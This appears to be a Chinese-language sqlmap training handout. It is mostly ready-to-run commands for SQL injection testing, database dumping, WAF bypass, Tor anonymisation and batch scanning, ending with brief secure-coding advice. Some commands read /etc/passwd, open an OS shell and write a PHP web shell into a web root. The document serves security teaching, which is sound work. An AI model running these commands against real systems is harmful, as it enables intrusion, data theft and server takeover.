高級網路安全實務課程
2025 年度專業版
僅供授權環境與專業教學使用
自動化漏洞檢測與分類
動態生成測試載荷
WAF 與過濾器繞過
響應分析與結果判斷
# Git 安裝 (推薦)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version
# 套件管理器安裝
sudo apt-get install sqlmap # Ubuntu/Debian
brew install sqlmap # macOS
# Docker 容器化部署
docker pull paoloo/sqlmap
docker run --rm -it paoloo/sqlmap --versionsqlmap [OPTIONS] TARGET [TECHNIQUE]sqlmap -u "http://target.com/page?id=1"sqlmap -u "http://target.com/page?id=1" --dbs--dbs枚舉 DBMS 資料庫--tables枚舉資料庫表格--columns枚舉表格欄位--dump轉儲表格資料-D database指定資料庫-T table指定表格--batch自動模式--level 1-5測試深度# 基本 GET 參數檢測
sqlmap -u "https://target.com/page.php?id=1" --batch
# 深度掃描
sqlmap -u "https://target.com/page.php?id=1" --level 3 --risk 2 --batch
# 完整資料庫枚舉
sqlmap -u "https://target.com/page.php?id=1" --dbs --current-user --is-dba --batch# 基本 POST 測試
sqlmap -u "https://target.com/login.php" \
--data="username=admin&password=test" \
--method=POST --batch
# 使用請求檔案
sqlmap -r request.txt --batch
# Cookie 參數測試
sqlmap -u "URL" --cookie="PHPSESSID=abc123; user_id=1" -p user_id --batch# 基礎繞過
sqlmap -u "URL" --random-agent --tamper=space2comment --batch
# 組合繞過
sqlmap -u "URL" --tamper=charencode,randomcase --delay 2 --batch
# 代理設定
sqlmap -u "URL" --proxy="http://127.0.0.1:8080" --batch# 權限評估
sqlmap -u "URL" --current-user --is-dba --batch
# 檔案系統操作
sqlmap -u "URL" --file-read="/etc/passwd" --batch
# 系統命令執行
sqlmap -u "URL" --os-shell --batch# Cookie 注入測試
sqlmap -u "URL" --cookie="user_id=1" -p user_id --batch
# HTTP Header 注入
sqlmap -u "URL" --headers="X-Forwarded-For: 127.0.0.1*" --level 3 --batch
# User-Agent 注入
sqlmap -u "URL" --user-agent="Mozilla/5.0*" --level 3 --batch# 常用 Tamper 腳本
--tamper=apostrophemask,base64encode,between
--tamper=charencode,charunicodeencode,equaltolike
--tamper=randomcase,space2comment,space2plus
--tamper=unionalltounion,versionedkeywords
# 組合使用範例
sqlmap -u "URL" --tamper=charencode,randomcase,space2plus --batch# HTTP 代理設定
sqlmap -u "URL" --proxy="http://proxy:8080" --batch
# Tor 網路
sqlmap -u "URL" --tor --check-tor --batch
# 隨機延遲
sqlmap -u "URL" --random-agent --delay 2 --batch# Python 自動化範例
import subprocess
def run_sqlmap(url):
cmd = ['python', 'sqlmap.py', '-u', url, '--batch']
return subprocess.run(cmd, capture_output=True, text=True)
# 批次掃描
targets = ["https://target1.com/page?id=1", "https://target2.com/search?q=test"]
for target in targets:
result = run_sqlmap(target)
print(f"掃描結果: {result.stdout}")# 獲取作業系統 Shell
sqlmap -u "URL" --os-shell --batch
# 執行特定系統命令
sqlmap -u "URL" --os-cmd="whoami" --batch
sqlmap -u "URL" --os-cmd="netstat -an" --batch
# 網路資訊收集
sqlmap -u "URL" --os-cmd="arp -a" --batch# 讀取系統檔案
sqlmap -u "URL" --file-read="/etc/passwd" --batch
sqlmap -u "URL" --file-read="/var/www/html/config.php" --batch
# 寫入檔案到系統
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batch
# 創建簡單的 Web Shell
echo '<?php system($_GET["cmd"]); ?>' > webshell.php
sqlmap -u "URL" --file-write="webshell.php" --file-dest="/var/www/html/cmd.php" --batch# JSON API 測試
sqlmap -u "https://api.target.com/users" \
--data='{"id": 1, "action": "get"}' \
--headers="Content-Type: application/json" \
-p id --batch
# 二階 SQL 注入
sqlmap -u "https://target.com/login.php" \
--data="username=admin&password=test" \
--second-order="https://target.com/profile.php" \
--batch# 詳細輸出模式
sqlmap -u "URL" -v 6 --debug --batch
# 儲存會話資料
sqlmap -u "URL" --session-file="session.txt" --batch
# 記錄所有 HTTP 流量
sqlmap -u "URL" --traffic-file="traffic.log" --batch
# 測試特定負載
sqlmap -u "URL" --test-filter="MySQL" --batch# 多執行緒設定
sqlmap -u "URL" --threads 5 --timeout 10 --batch
# 快速掃描模式
sqlmap -u "URL" --technique U --threads 10 --batch
# 優化設定
sqlmap -u "URL" --skip-static --keep-alive --compression --batch# 自定義輸出目錄
sqlmap -u "URL" --output-dir="/tmp/sqlmap_results" --batch
# CSV 格式輸出
sqlmap -u "URL" --dump-format=CSV --batch
# 儲存完整會話
sqlmap -u "URL" --save="config.conf" --batch
# 從配置檔案載入
sqlmap --load="config.conf" --batch// 使用 Prepared Statements (PHP)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$user_id]);
// 輸入驗證
function validateInput($input) {
if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
throw new Exception("Invalid input");
}
return $input;
}
// 輸出編碼
echo htmlspecialchars($user_data, ENT_QUOTES, 'UTF-8');SQLMap 是強大的安全測試工具,真正的專業來自於對技術的深度理解、對法律的嚴格遵守,以及對倫理的堅持。讓我們用技術守護網路安全,為構建更安全的數位世界貢獻力量。
願您在網路安全的道路上不斷精進,成為守護數位世界的專業人士。